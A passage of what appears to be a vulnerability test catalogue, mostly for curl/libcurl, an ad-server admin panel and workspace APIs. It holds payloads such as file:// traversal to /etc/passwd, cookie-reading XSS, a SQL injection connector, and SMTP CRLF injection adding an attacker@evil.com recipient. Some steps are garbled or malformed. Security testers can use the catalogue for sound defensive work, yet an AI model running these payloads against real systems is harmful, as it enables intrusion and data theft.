Remediation: Sanitize filenames before providing them to clients, particularly when dynamically generated. Validate or escape escape sequences in filenames. Consider disabling or carefully controlling filename generation and display within HTTP server responses.

Description: A buffer overflow vulnerability occurs when formatted strings are written to a user-provided buffer without proper size validation. This can lead to arbitrary code execution or denial of service if the format string is maliciously crafted to exceed the buffer's capacity. This test aims to highlight this type of vulnerability, regardless of the specific formatting function used.

How to Test:

1. Obtain a target application that uses a string formatting function to write to a user-provided buffer.
2. Create a buffer of a known, small size (e.g., 16 bytes).
3. Craft a malicious format string containing format specifiers (e.g., %s, %n) that generate output larger than the buffer's size. An example payload is: <PAYLOAD> (e.g., A"100%sB"50).
4. Pass the malicious format string and the buffer to the vulnerable string formatting function.
5. Observe the resulting behavior: memory corruption, crashes, or unexpected output indicating a buffer overflow.

Impact: Arbitrary code execution, memory corruption, information disclosure, and denial of service.

Remediation: Implement bounds checking when writing formatted output to user-provided buffers. Use safer string formatting functions that prevent overflows by default. Sanitize user-provided format strings.

Description: The dedotdotify() function, used for URL path normalization, exhibits quadratic time complexity (O(n²)) when processing paths with numerous ../ sequences. This can lead to excessive CPU usage and denial of service when handling malicious URLs.

How to Test:

1. Craft a URL containing a long sequence of /../ segments. For example: http://<TARGET_URL>/a/b/c/.../x/y/z/../../../../..
2. Use curl or a similar HTTP client to request the crafted URL.

   curl "http://<TARGET_URL>/a/b/c/.../x/y/z/../../../../.."

1. Monitor the CPU usage of the server or application processing the request. Observe a significant increase in CPU consumption compared to a normal request.
2. Test with increasingly longer sequences of /../ to verify the quadratic time complexity. For instance, a URL like http://<TARGET_URL>/a/b/c/../..

Impact: Denial of service due to excessive CPU consumption, leading to slow response times or service unavailability.

Remediation: Rewrite the vulnerable dedotdotify() function to use an O(n) algorithm, such as tracking segment boundaries using a linked list or array, or utilize the CURLUPATHAS_IS option where appropriate, after careful security review. Implement input validation to limit URL path lengths.

Description: Applications using file:// URLs with URL-encoded path traversal sequences (%2f%2e%2e%2f) can be tricked into accessing arbitrary files due to improper normalization of URLs. This bypasses standard path traversal protections and can lead to sensitive information disclosure.

How to Test:

1. Construct a file:// URL with URL-encoded path traversal sequences to access a sensitive file. For example: file:///%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd.
2. Send the URL to the target application.
3. Observe if the application reads and returns the content of the targeted file.
4. Verify that the URL normalization function fails to decode and sanitize the URL properly.
5. Use the following command as an example to demonstrate the bypass: curl "file:///%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

Impact: Unauthorized access to sensitive files on the system, potentially exposing credentials, configuration data, or application source code.

Remediation: Properly decode and sanitize all URLs, including handling URL-encoded characters, before performing any file operations. Validate the normalized path to ensure it remains within the intended directory.

Description: This vulnerability allows a Man-in-the-Middle attacker to bypass Certificate Pinning, even when enabled, if insecure connections are allowed. This occurs due to inconsistent handling of certificate verification flags across different TLS backends.

How to Test:

1. Configure a curl client with a specific pinned public key. For example, --pinnedpubkey "sha256//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=".
2. Disable peer verification by using the -k or --insecure flag.
3. Initiate an HTTP/3 connection to <TARGETURL> using the configured curl client. Example: curl -k --http3 --pinnedpubkey "sha256//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" <TARGETURL>.
4. Verify the connection proceeds without the expected pinning error. The presence of a successful connection, rather than the expected "pinned public key mismatch" error, indicates a bypass.
5. Compare the behavior with a standard build (like OpenSSL) where disabling verification prevents certificate pinning from working as expected.

Impact: A Man-in-the-Middle attacker can intercept and decrypt traffic, bypassing the intended protection of certificate pinning.

Remediation: Ensure consistent handling of certificate verification flags across all TLS backends. Certificate pinning should function independently of other verification settings.

Description: A heap buffer overflow can occur during DNS resolution when using a fixed-size buffer and incorrect pointer arithmetic, leading to potential memory corruption. This vulnerability specifically affects systems using a particular operating system and socket library. It can lead to denial of service or, in some cases, potentially allow for code execution.

How to Test:

1. Configure a target system to use AmigaOS with the bsdsocket.library backend.
2. Attempt to resolve a hostname using the curl command line tool, influencing the DNS response to be an attacker-controlled hostname.
3. Observe if the curl or related library processes crash or exhibit unexpected behavior.
4. Use a debugger to observe memory access patterns during DNS resolution and confirm that writes exceed the bounds of the allocated buffer. An example payload might be: curl <TARGETURL> where <TARGETURL> resolves to a specially crafted hostname.

Impact: Denial of service through process crashes or heap memory corruption, with a potential for arbitrary code execution depending on the heap layout and implemented mitigations.

Remediation: Implement dynamic buffer allocation that accounts for structure alignment and padding requirements when performing DNS resolution. Validate the size and offset calculations to prevent out-of-bounds writes.

Description: A race condition exists in SFTP resume functionality where a file's state is checked before being opened, allowing an attacker to swap the target file with a symbolic link. This enables arbitrary data appending to files accessible by the authenticated user.

How to Test:

1. Establish a connection to an SFTP server using a tool like curl.
2. Authenticate to the server.
3. Initiate a file upload using curl with the -C - flag to resume from the end.
4. Simultaneously, an attacker on the server must rapidly replace the target file with a symbolic link to a sensitive file. For instance: mkfifo /tmp/symlink; ln -s /tmp/symlink /path/to/target_file.
5. Observe whether data appended during the upload is written to the sensitive file pointed to by the symbolic link.
6. Use backticks to run commands like: curl -u <USERNAME>:<PASSWORD> -C - <TARGET_URL>:<PAYLOAD>

Impact: An attacker with authenticated access can append arbitrary data to files the user has write access to, potentially leading to remote code execution, denial of service, or log injection.

Remediation: Verify that the file opened matches the file whose size was initially checked before continuing with the upload process. Use file attributes like inode number to perform the validation.

Description: Kubernetes NetworkPolicy rules can be bypassed if completed pods retain their IP addresses, allowing other pods to inherit unintended network access. This occurs when a pod finishes execution but its associated firewall rules are not immediately removed, potentially granting unauthorized access to other pods that are later assigned the same IP address.

How to Test:

1. Deploy a Kubernetes application that uses NetworkPolicy to restrict access.
2. Create a "completion" pod that is granted access via NetworkPolicy.
3. Ensure the "completion" pod finishes its execution and transitions to a "Completed" state.
4. Deploy another pod that is not granted access via NetworkPolicy.
5. Observe whether the unauthorized pod can successfully connect to the target application (e.g., using curl -v <TARGET_URL>). A successful connection indicates a bypass.
6. Examine network configurations and IP address assignments to confirm if the unauthorized pod received the IP address previously held by the completed pod.

Example Payload: curl -v <TARGET_URL>

Impact: Unauthorized network access, potentially leading to data breaches or service disruption.

Remediation: Ensure that when a pod completes, its associated firewall rules are promptly removed or updated to prevent IP address conflicts and unauthorized access. Use mechanisms that dynamically update NetworkPolicy rules upon pod completion or deletion.

Description: A publicly listable Amazon S3 bucket can expose configuration and JSON files, potentially revealing sensitive information or internal system details. This vulnerability allows unauthorized access to bucket contents and metadata, which can be exploited for reconnaissance or further attacks. It's critical to prevent unintentional public access to such resources.

How to Test:

1. Attempt to list the contents of a suspected S3 bucket using a tool like curl:

curl <TARGET_URL>

(e.g., curl https://<BUCKET_NAME>.s3.amazonaws.com/)

1. Examine the response to determine if an XML ListBucketResult is returned, indicating that the bucket is publicly listable.
2. Check the Contents entries within the XML response for JSON or configuration files.
3. Analyze the filenames and timestamps of listed files to gather potentially sensitive information about the target system.

Impact: Exposure of internal configuration, API endpoints, feature flags, versioning information, and potentially sensitive credentials if the JSON files contain them.

Remediation: Review S3 bucket permissions and ACLs, restrict ListBucket access, implement least-privilege access, rotate any leaked credentials, and consider serving public assets through a hardened CDN.

Description: An attacker can modify the email address of other users, including administrators, without proper authentication. This allows an attacker to potentially take over accounts or disrupt access control mechanisms. The application fails to enforce authentication checks when updating user email addresses via a direct POST request.

How to Test:

1. Log in to the application's administrative interface.
2. Navigate to the user management section.
3. Intercept a request that appears to modify a user's details, such as a POST request to /admin/agency-user.php.
4. Modify the request payload to change the emailaddress parameter, like this: submit=1&login=admin&token=<TOKEN>&userid=<USERID>&emailaddress=new-email@example.com&agencyid=<AGENCYID>. Replace <TOKEN>, <USERID>, and <AGENCYID> with appropriate values.
5. Send the modified request and observe whether the email address changes successfully without requiring password confirmation.

Impact: An attacker with minimal privileges can modify user accounts, potentially enabling account takeover or unauthorized access.

Remediation: Implement robust authentication checks before allowing email address modifications. Require re-authentication or multi-factor authentication to ensure the request is authorized.

Description: This vulnerability allows an attacker to inject malicious scripts into a web page viewed by other users. The script executes in the context of the affected user's browser, potentially leading to unauthorized actions or data theft. Improper sanitization of user-supplied data is the root cause.

How to Test:

1. Craft a URL with a group parameter containing a malicious payload.
2. Navigate to the constructed URL in a web browser.
3. Observe if the injected script executes.
4. Use payloads like <script>alert(9645)</script> or alert(1) within the group parameter: <TARGETURL>?group=<PAYLOAD>. Example: <TARGETURL>?group="><script>alert(1)</script>
5. If a JavaScript alert box appears, it confirms the vulnerability.

Impact: An attacker can execute arbitrary JavaScript within the victim's browser, leading to session hijacking, unauthorized data access, or redirection to malicious websites.

Remediation: Properly encode or escape user-supplied input before displaying it in the browser. Use a content security policy (CSP) to restrict the sources from which scripts can be loaded.

Description: An attacker can inject malicious scripts into application settings, which are then rendered to other users without proper sanitization. This can lead to a denial-of-service or other client-side attacks, impacting user experience and potentially compromising user accounts. Improper output encoding allows persisted data to execute JavaScript.

How to Test:

1. Navigate to the application settings page at <TARGET_URL>/admin/settings.
2. Locate fields for user-defined names or descriptions (e.g., "From Name" or "Company Name").
3. Enter the following payload into the field: <script>alert("XSS");</script> or <img src=x onerror=alert('XSS')>.
4. Submit the form and save the changes.
5. Observe whether the script executes when the settings page or any other page containing the settings is viewed by other users.
6. Observe the effect when a user views any page which includes the field values from the settings, particularly in admin sections.

Impact: An attacker can disrupt website functionality, redirect users, or potentially steal sensitive information if cookies or sessions are not properly protected. A denial of service is possible.

Remediation: Implement proper input sanitization and output encoding. Escape user-controlled data before rendering it in HTML. Use a Content Security Policy (CSP) to restrict the sources from which scripts can be executed.

Description: This vulnerability allows an attacker to inject malicious scripts into a website, which are then stored and executed when other users visit the affected page. Stored XSS can lead to account compromise, data theft, or redirection to malicious websites. It is a significant security risk that needs immediate attention.

How to Test:

1. Navigate to the inventory management section of the application.
2. Locate the campaign creation or editing form.
3. Inject a malicious payload into the "Name" field, such as: `"><img src=x onerror=alert(document.domain)>`.
4. Submit the form.
5. Navigate to a page that displays the inventory data, such as <TARGET_URL>?clientid=<PARAMETER>.
6. Verify that the injected script executes, for example, by checking for an alert box.

Impact: An attacker can execute arbitrary JavaScript code in the context of the user's browser, potentially stealing session cookies, redirecting the user to a malicious site, or defacing the website.

Remediation: Implement proper input validation and output encoding on all user-supplied data. Use a Content Security Policy (CSP) to restrict the sources from which scripts can be loaded.

Description: An attacker can inject malicious JavaScript into tracker names, which are then stored and executed when an administrator views conversion statistics. This allows for potential session cookie theft and privilege escalation. The stored nature of the XSS makes it a persistent threat.

How to Test:

1. Login to the application as a user with advertiser privileges.
2. Navigate to the tracker management section for your advertiser account.
3. Create a new tracker and set the tracker name to a malicious JavaScript payload, such as: <img src=x onerror="alert('XSS: ' + document.cookie)">.
4. Login to the application as an administrator.
5. Navigate to the conversion statistics page, specifying a client ID: <TARGETURL>?clientid=<CLIENTID>.
6. Observe if the malicious JavaScript payload executes in the administrator's browser context.

Impact: An attacker can potentially steal administrator session cookies, leading to account takeover and full control of the application.

Remediation: Implement proper input validation and output encoding (e.g., htmlspecialchars() in PHP) for all user-controlled data displayed in reports or administrative interfaces. Regularly audit all data display code for XSS vulnerabilities.

Description: This vulnerability allows an unprivileged user to discover Personally Identifiable Information (PII) of other users belonging to different accounts. The application performs a global user search instead of restricting the scope to the current account, enabling unauthorized access to user details. This presents a risk of privacy breach and potential misuse of disclosed information.

How to Test:

1. Log in as a user belonging to Account A.
2. Navigate to the user management section (e.g., User Access).
3. Initiate a user search or add user form.
4. Enter the username of a user belonging to Account B in the username field.
5. Observe the response: verify that the system returns and displays the contact name and email address of the user in Account B. Example payload: testuser.

Impact: Exposure of Personally Identifiable Information (PII) of users belonging to other accounts, potentially leading to privacy violations and misuse of information.

Remediation: Implement account-based user scoping during user lookups. Ensure that user search results are restricted to the current user's account or authorized scope only. Validate user permissions before displaying user details.

Description: This vulnerability allows an attacker to delete banners belonging to other users without proper authorization. This can result in significant disruption to ad campaigns and potential revenue loss for the affected users. The lack of ownership verification on banner deletion endpoints poses a security risk.

How to Test:

1. Log in as a user with sufficient privileges (e.g., a Manager account).
2. Identify the banner deletion endpoint on the target application (e.g., /www/admin/banner-delete.php).
3. Obtain a valid CSRF token for the current session.
4. Identify the banner ID of another user (the victim).
5. Construct a malicious URL using the following format: <TARGETURL>?token=<CSRFTOKEN>&clientid=<YOURCLIENTID>&campaignid=<YOURCAMPAIGNID>&bannerid=<VICTIMBANNERID>

• Example: http://localhost:8080/www/admin/banner-delete.php?token=9fec0e8e46e9eb237d67d3da6e3e615b&clientid=100&campaignid=100&bannerid=2001

1. Send a request to the constructed URL via a browser or HTTP client.
2. Verify if the victim's banner has been deleted without proper authorization.

Impact: Unauthorized deletion of banners, campaign sabotage, revenue loss, reputational damage, and potential data integrity violations.

Remediation: Implement robust access controls to ensure that users can only access and modify resources they own. Validate ownership before performing any deletion operations. Use proper CSRF protection measures and ensure adequate input validation.

Description: Detailed error messages can inadvertently expose sensitive backend information, such as database versions and SQL queries. Attackers can leverage this information to identify vulnerabilities or craft targeted attacks. This test focuses on exploiting verbose error messages to gather sensitive information.

How to Test:

1. Navigate to <TARGET_URL>/admin/channel-acl.php?affiliateid=<<id>>&channelid=<<id>>.
2. Add a new client language entry.
3. Enter a single quote (') in the "Execution order" field.
4. Submit the form and observe the detailed error output.
5. Examine the error message for any sensitive information, like database version or SQL query details.

Impact: Exposure of backend details may help attackers identify known vulnerabilities or tailor attacks against the server.

Remediation: Implement robust error handling and avoid displaying verbose error messages in production environments. Utilize logging mechanisms for debugging and error analysis, ensuring sensitive details are not exposed to users.

Description: This vulnerability allows an attacker to inject malicious scripts into a web application. The injected script executes in the context of a user's browser, potentially leading to unauthorized actions or data theft. Proper input sanitization is crucial to prevent this type of attack.

How to Test:

1. Navigate to a page where user input is reflected in the response (e.g., <TARGET_URL>/admin/banner-zone.php).
2. Locate a parameter or input field (e.g., "Website" search field).
3. Enter a simple XSS payload into the field: <PAYLOAD>><script>alert("XSS");</script>.
4. Observe the response. If the JavaScript code executes (e.g., an alert box appears), the vulnerability is present.

Impact: An attacker can execute arbitrary JavaScript in the victim's browser, potentially leading to session hijacking, credential theft, or unauthorized actions.

Remediation: Implement strict input validation and context-aware output encoding to prevent injection of malicious scripts. Use a Content Security Policy (CSP) to restrict the sources from which scripts can be executed.

Description: A stored Cross-Site Scripting (XSS) vulnerability exists when user-supplied data is stored and later displayed without proper sanitization. An attacker can inject malicious scripts that execute in the context of other users' sessions, leading to potential data theft or account compromise. This demonstrates a failure to properly sanitize user input before storing it in a database and displaying it to other users.

How to Test:

1. Navigate to the banner creation or editing page.
2. In the "Name" field, enter the following payload: "><script>alert(1)</script>.
3. Save the banner.
4. Add a test user and grant them access to the banner.
5. Log in as the test user and verify that the injected script executes.

Impact: Malicious JavaScript code can be executed in the context of other users' sessions, potentially leading to unauthorized data access, modification, or account takeover.

Remediation: Implement proper input sanitization and output encoding to prevent XSS vulnerabilities. Use a web application firewall (WAF) to filter out malicious input and always validate user input.

Description: An attacker can inject malicious code into campaign names through a user interface element. This code is then stored and later displayed without proper sanitization, allowing for cross-site scripting (XSS) when viewed by users with higher privileges. This can lead to account takeover or unauthorized actions.

How to Test:

1. As an authenticated user, enter the following payload in the campaign name field: <script>alert('XSS')</script>
2. Save the campaign.
3. As a user with administrator privileges, navigate to the banner picker or similar feature displaying campaign names.
4. Observe whether the payload executes, triggering an alert box or other malicious action.
5. Example payload: <img src=x onerror=alert('XSS')>

Impact: An attacker with a normal user account can execute arbitrary JavaScript in the browser of an administrator user, potentially leading to account compromise or unauthorized actions.

Remediation: Implement proper HTML escaping or input sanitization when storing and displaying user-supplied data, especially in contexts where it might be rendered in an administrator’s view. Use a Content Security Policy (CSP) to restrict the execution of inline scripts.

Description: Usernames with leading or trailing whitespace can create visually identical accounts to legitimate users. This can cause confusion during administrative tasks, complicate auditing, and potentially be exploited for social engineering attacks. It does not directly grant privileges, but obscures accountability.

How to Test:

1. Navigate to the user management section of the target application.
2. Create a new user account.
3. Enter a username containing leading or trailing whitespace, such as " admin" or "admin ".
4. Verify that the new user's display name in the user list is visually indistinguishable from usernames without whitespace. Example payload: " admin"

Impact: Confusion of user identities, potential for social engineering attacks, and difficulties in auditing user actions.

Remediation: Normalize usernames by stripping leading and trailing whitespace before display and storage to ensure visual consistency.

Description: An unrestricted pagination size parameter can lead to resource exhaustion or excessive data retrieval. An attacker can manipulate this parameter to request an extremely large number of records, potentially causing server slowdowns, denial of service, or enabling bulk data exfiltration. The application's backend might struggle to process and deliver such a large result set.

How to Test:

1. Authenticate as a user with access to a log viewer or paginated resource listing.
2. Modify the pagination size parameter in the request URL. For example, change the URL to <TARGET_URL>?setPerPage=<PAYLOAD>.
3. Set <PAYLOAD> to a very large number, such as 1000000000.
4. Observe the server's response time and resource usage. Check if the server returns an error, crashes, or experiences performance degradation.
5. Verify that the application does not appropriately limit or validate the setPerPage parameter.

Impact: Denial of service, excessive bandwidth consumption, potential data exfiltration.

Remediation: Implement server-side validation and capping of pagination parameters. Limit the maximum number of records that can be retrieved per request. Use pagination techniques efficiently to minimize the load on the server and the client.

Description: This vulnerability allows an attacker to modify subscription details without proper authentication. It arises from a flaw in the API's validation of user roles and permissions, potentially granting unauthorized access to sensitive data or functionalities. Exploitation can lead to significant data breaches and service disruption.

How to Test:

1. Send a request to the subscription management endpoint at <TARGETURL>/subscriptions/<SUBSCRIPTIONID> using the PUT method.
2. In the request headers, set the Authorization header to a token that does not belong to the intended user or does not have the necessary permissions.
3. In the request body, include a payload to modify the subscription details, such as {"plan": "premium", "status": "active"}. Example payload: {"plan": "premium", "status": "active"}.
4. Observe the API's response to determine if the subscription details are modified successfully despite the invalid authorization.

Impact: Unauthorized modification of subscription details, potentially leading to data breaches and financial loss.

Remediation: Implement strict role-based access control (RBAC) and thoroughly validate user credentials and permissions before allowing any modifications to sensitive resources. Use strong authentication mechanisms and prevent direct manipulation of user data without verification.

Description: A flaw exists in how a library handles URL-decoded paths within FTP URLs. By supplying a carefully crafted URL with encoded path segments (like %2e%2e for ".."), an attacker can potentially manipulate the library to issue directory change commands (CWD) to the FTP server, leading to unintended directory traversal. This vulnerability can expose sensitive files or bypass security filters.

How to Test:

1. Start a local FTP server.
2. Create a directory structure, including files within subdirectories, on the FTP server.
3. Craft an FTP URL containing encoded path traversal sequences, such as %2e%2e to represent "..". For example: ftp://<TARGET_URL>/dir//%2e%2e/testdir
4. Use a tool that uses a vulnerable library to connect to the FTP server using the crafted URL. Enable trace output to observe the issued commands. For example: curl --trace-ascii curltrace.txt -v "ftp://<TARGETURL>/dir//%2e%2e/testdir" 2>&1 | tee curl_stdout.txt
5. Examine the trace output for unexpected CWD (Change Working Directory) commands.

Impact: Remote file disclosure or bypass of client-side filters, potentially leading to unauthorized access to sensitive data or system compromise.

Remediation: Perform canonical path normalization (stack-based handling of "." and "..") after URL decoding and before splitting into path components. Reject paths attempting to traverse above the allowed root directory.

Description: Publicly exposing cryptographic hashes in source code repositories can reveal information about the build process or internal infrastructure. This information might be leveraged by attackers to identify vulnerabilities or gain insights into the deployment environment. Proper handling and obfuscation of such sensitive data is crucial.

How to Test:

1. Examine publicly accessible source code repositories for files containing hash values.
2. Search for instances where hash values are used in build scripts, Dockerfiles, or configuration files.
3. Look for hashes related to dependencies, environment variables, or specific versions. For example: <PAYLOAD>7a9b1c2d3e4f5g6h7i8j9k0l1m2n3o4p5q6r7s8t9u0
4. Verify that these hashes are not used to identify specific versions or to reveal internal infrastructure details.

Impact: Potential exposure of vulnerabilities, deployment environment details, and internal infrastructure.

Remediation: Avoid hardcoding hashes in public repositories; use official tags or obfuscation techniques for sensitive data; ensure repositories containing such data are private.

Description: An open redirect vulnerability can allow an attacker to redirect users to malicious sites after authentication, potentially leading to session hijacking or other attacks. If an authentication token is passed through the redirect, the attacker can steal this sensitive information. This allows attackers to impersonate legitimate users.

How to Test:

1. Initiate the authentication flow on the target application.
2. Observe the callback URL parameter used during the authentication process.
3. Construct a malicious redirect URL using the observed callback URL parameter: <TARGET_URL>/callback?url=<PAYLOAD>. For example: https://example.com/callback?url=https://attacker.com.
4. Attempt to redirect users to the crafted malicious URL.
5. Monitor the network traffic for any exposed authentication tokens during the redirection process.

Impact: Exposure of authentication tokens leading to account takeover and potential data breach.

Remediation: Implement strict input validation and sanitization for callback URLs. Use a whitelisting approach to restrict allowed redirect destinations.

Description: A flaw exists where a TLS configuration object is freed twice, potentially leading to a crash or memory corruption. This occurs specifically when using a particular TLS backend (rustls) and certain conditions related to certificate verification are met. The issue arises from improper handling of the TLS configuration builder within the underlying library.

How to Test:

1. Build a curl-compatible application linked against a vulnerable version of libcurl (v8.13.0 to v8.17.0) and the rustls TLS backend.
2. Configure the application to use a TLS backend where server certificate verification is disabled (!conn_config->verifypeer).
3. Ensure that the certificate authority (CA) information or CA file is not provided.
4. Attempt to establish a connection to <TARGETURL> using the configured TLS settings. Use a payload like <PAYLOAD>GET / HTTP/1.1\nHost: <TARGETURL>\n\n to trigger the TLS handshake.
5. Observe the application’s behavior. A crash or memory corruption error should occur, potentially triggered by an out-of-memory (OOM) condition during the TLS handshake.

Impact: Application crash, potential for memory corruption leading to unexpected behavior or privilege escalation if the vulnerability can be exploited to overwrite sensitive data.

Remediation: Carefully review and audit TLS configuration initialization and deallocation logic, especially when using custom or less-common TLS backends. Ensure that resources are freed only once and that proper error handling is implemented to prevent double-frees. Consider adding checks before freeing resources to prevent premature deallocation.

Description: This vulnerability involves a double-free error occurring during the processing of SSL sessions. A malformed SSL session file can trigger this condition, leading to denial of service or potential exploitable behavior. The issue arises from a failure to properly reset pointers before freeing memory.

How to Test:

1. Compile a network utility with SSL session export enabled (e.g., ./configure --enable-debug --with-openssl --enable-static --disable-shared --enable-ssls-export).
2. Create a malformed SSL session file that triggers the vulnerable code path. The file should manipulate the content check logic at a specific location in the SSL session handling code. For example, modify the session file content as per the vulnerability's root cause.
3. Run the compiled utility with the malformed SSL session file: <NETWORKUTILITY> --ssl-sessions <MALFORMEDSESSIONFILE> <TARGETURL>.
4. Observe a crash or unexpected behavior indicating a double-free vulnerability.

Impact: Denial of service or potential for further exploitation due to memory corruption.

Remediation: Always reset pointers to NULL after freeing memory to prevent double-free vulnerabilities. Ensure proper input validation and sanitization of SSL session data.

Description: An attacker can inject arbitrary SQL code into the WHERE clause of a database query by manipulating the connector string used to join filter conditions. This occurs when user-controlled data is unpacked directly into a query object without proper sanitization or validation, bypassing parameterized queries and leading to data exfiltration or access control bypass.

How to Test:

1. Create a database query using a framework (e.g., Django ORM) that allows developers to specify connector strings for joining filter conditions.
2. Simulate a user-supplied filter dictionary containing a connector key with a malicious payload, for example: {"isadmin": False, "username": "nonexistentuser", "connector": ") OR 1=1 OR ("}.
3. Unpack the filter dictionary into a query object.
4. Execute the query and examine the generated SQL to confirm that the injected payload is present and executed as part of the query.
5. Verify that the injection bypasses intended access control or filtering mechanisms.

Impact: Unauthorized access to sensitive data, bypass of access controls, and potential denial-of-service by injecting resource-intensive SQL queries.

Remediation: Validate and sanitize user-supplied input before incorporating it into SQL queries. Implement an allow-list for acceptable connector values and reject any unexpected characters or strings. Use parameterized queries to prevent SQL injection.

Description: The wolfSSH backend in curl, when used for SFTP, lacks server host key verification. This allows attackers to potentially intercept and modify SFTP connections without being detected. This vulnerability arises because the backend does not check the server’s identity against a known hosts file or verify the fingerprint of the server’s public key.

How to Test:

1. Build curl with the wolfSSH backend. Example compilation command:

   ./configure --with-wolfssh=/path/to/wolfssh --disable-shared
   make

1. Verify the build includes wolfSSH: ./src/curl --version (output should contain "wolfssh/x.x.x").
2. Attempt an SFTP connection without providing a known hosts file or fingerprint: ./src/curl --ssh-knownhosts /tmp/dummy sftp://<USERNAME>:<PASSWORD>@<TARGET_URL>:<PORT>/
3. Observe that the connection is established without any host key verification errors, even if an unexpected host key is presented.
4. Attempt to use --hostpubsha256 option: ./src/curl --hostpubsha256 <EXAMPLESHA256HASH> sftp://<USERNAME>:<PASSWORD>@<TARGET_URL>:<PORT>/
5. Observe that the tool does not accept the --hostpubsha256 argument.

Impact: An attacker can perform a man-in-the-middle attack, intercepting and potentially modifying SFTP data exchanged between the client and server without being detected.

Remediation: Ensure SFTP clients implement robust host key verification mechanisms, such as checking against a known hosts file or verifying the server's public key fingerprint. Use established SSH libraries with proper host key verification functionality.

Description: This vulnerability allows a user with limited privileges to modify settings for a feature (Lovable AI) within a workspace that they shouldn't be able to control. It represents a potential for unauthorized configuration changes and disruption of service. This can be exploited by malicious users to manipulate a service's behaviour.

How to Test:

1. Identify an API endpoint responsible for enabling or disabling a feature for new projects in a workspace, such as /workspaces/<workspaceid>/tool-preferences/aigateway/enable.
2. Obtain a valid <workspace_id> for a target workspace.
3. Using a low-privileged user account, replay the identified API request against a different workspace.
4. To disable: POST /workspaces/<workspaceid>/tool-preferences/aigateway/enable with the payload { "approval_preference":"disable" }.
5. To enable: DELETE /workspaces/<workspaceid>/tool-preferences/aigateway/enable.

Impact: Unauthorized modification of feature settings can lead to disruption of service, unexpected behavior, and potential misuse of the application.

Remediation: Implement proper access controls and authorization checks to ensure that only authorized users can modify feature settings for specific workspaces.

Description: An attacker can bypass authorization checks and perform actions they are not permitted to. This allows for privilege escalation and potential disruption of services. The vulnerability arises from a lack of server-side validation of user roles before allowing sensitive actions to be performed.

How to Test:

1. Create two user accounts within the same workspace: one with an administrative role and one with a lower-privileged role (e.g., Editor).
2. As the administrative user, perform an action that modifies a workspace configuration (e.g., disabling a feature).
3. Capture the API request used by the administrative user. The request will include an authentication token (<OWNER_JWT>).
4. Modify the captured API request, replacing the authentication token with the token of the lower-privileged user (<EDITOR_JWT>). The request should look like this:

POST /workspaces/<WORKSPACE_ID>/tool-preferences/supabase/enable HTTP/2
Host: <TARGET_URL>
Authorization: Bearer <EDITOR_JWT>
Content-Type: application/json

{"approval_preference":"disable"}

1. Send the modified request to the API endpoint. Verify that the action is still successfully executed despite the lower-privileged user's credentials.

Impact: Unauthorized modification of critical workspace settings, leading to potential service disruption or data compromise.

Remediation: Implement robust server-side role checking for all sensitive API endpoints to ensure that users can only perform actions they are authorized to.

Description: An attacker can modify sensitive settings or features within a workspace even without the appropriate administrative privileges. This can lead to unexpected behavior, disruption of services, or unauthorized modifications to the application's state. It represents a broken access control vulnerability.

How to Test:

1. Create a workspace with at least two users: an administrator and a standard user (editor).
2. As the administrator, disable a workspace feature through the API.
3. Capture the API request used to disable the feature, noting the authorization token and endpoint.
4. Replace the administrator's authorization token in the captured request with the standard user’s token.
5. Resend the modified API request.
6. Observe if the feature is successfully disabled by the standard user. Example payload:

{"approval_preference":"disable"}

Impact: Unauthorized users can disrupt workspace functionality by disabling or modifying critical features, potentially impacting all users and disrupting core services.

Remediation: Implement strict server-side role checks to ensure users can only perform actions authorized by their roles. Validate user permissions before executing any sensitive API calls.

Description: An attacker can crash a client application by setting an excessively large value for the MQTT payload size, leading to a denial-of-service condition. This occurs due to a lack of input validation when calculating memory allocation sizes, resulting in an attempt to allocate an impossibly large buffer.

How to Test:

1. Configure an MQTT client using a library like libcurl.
2. Set the CURLOPTPOSTFIELDSIZELARGE option to a very large value, for example, 0x0FFFFFFF.
3. Attempt to publish a message to an MQTT broker.
4. Observe if the client crashes or returns an CURLEOUTOF_MEMORY error.
5. Example Payload: curleasysetopt(curl, CURLOPTPOSTFIELDSIZELARGE, 0x0FFFFFFF);

Impact: Denial of service; the client application crashes or terminates unexpectedly when attempting to publish the oversized MQTT message.

Remediation: Validate user-supplied input related to payload sizes against protocol limits. Implement overflow checks before memory allocation and cap encoded lengths to prevent exceeding resource limits.

Description: This vulnerability allows an attacker to inject arbitrary SMTP commands by crafting malicious mailbox addresses containing CRLF sequences. It's a critical issue because it can lead to unauthorized email copying, privacy violations, and potential access control bypass.

How to Test:

1. Use curl to send an SMTP request to a target server at <TARGET_URL>.
2. Include a crafted MAIL FROM address containing CRLF sequences to inject a malicious SMTP command.
3. Use the following payload as an example: 'legit@company.com\r\nRCPT TO:<attacker@evil.com>'
4. Use the --mail-from flag with the crafted payload. Example: curl --url "smtp://<TARGET_URL>" --mail-from $'legit@company.com\r\nRCPT TO:<attacker@evil.com>' --mail-rcpt "employee@company.com" --upload-file message.txt
5. Monitor the SMTP server's response to observe the injected command's execution.

Impact: Unauthorized email copying, privacy violations, access control bypass, and arbitrary command injection within the SMTP protocol.

Remediation: Implement strict input validation on mailbox addresses, properly escape CRLF sequences, and apply patches to vulnerable libraries.

Description: A malicious user can craft a configuration file that, when used by a program leveraging a configuration system, can lead to sensitive information disclosure or arbitrary file modification. This occurs if the program lacks proper validation when loading and processing configuration files.

How to Test:

1. Create a malicious configuration file. For example, echo 'url = "file:///etc/passwd"' > /tmp/malicious.config.
2. Run the program, directing it to use the malicious configuration file using a command-line option like --config /tmp/malicious.config.
3. Verify that the program attempts to read the sensitive file specified in the configuration file.
4. Verify that the program's output redirection or other actions are controlled by the configuration file and are potentially harmful.
5. Use payloads like <PAYLOAD> to modify file paths or URLs to test for SSRF and unauthorized access. For example, echo 'url = "http://<TARGET_URL>"' > /tmp/malicious.config

Impact: Potential for sensitive information disclosure (e.g., credentials, API keys), arbitrary file write, system compromise, or SSRF attacks.

Remediation: Implement strict input validation and sanitization when parsing configuration files. Use a whitelist approach, allowing only trusted file paths or parameters. Never directly execute commands or scripts from configuration files without thorough validation.

Description: A vulnerability exists where user-controlled input is directly incorporated into shell commands without proper sanitization. This allows an attacker to execute arbitrary commands on the server, potentially leading to data breaches or system compromise. The issue arises from the unchecked use of shell commands using external tools.

How to Test:

1. Construct a command that includes a malicious payload within a file path parameter.
2. Execute the command through the vulnerable function or script.
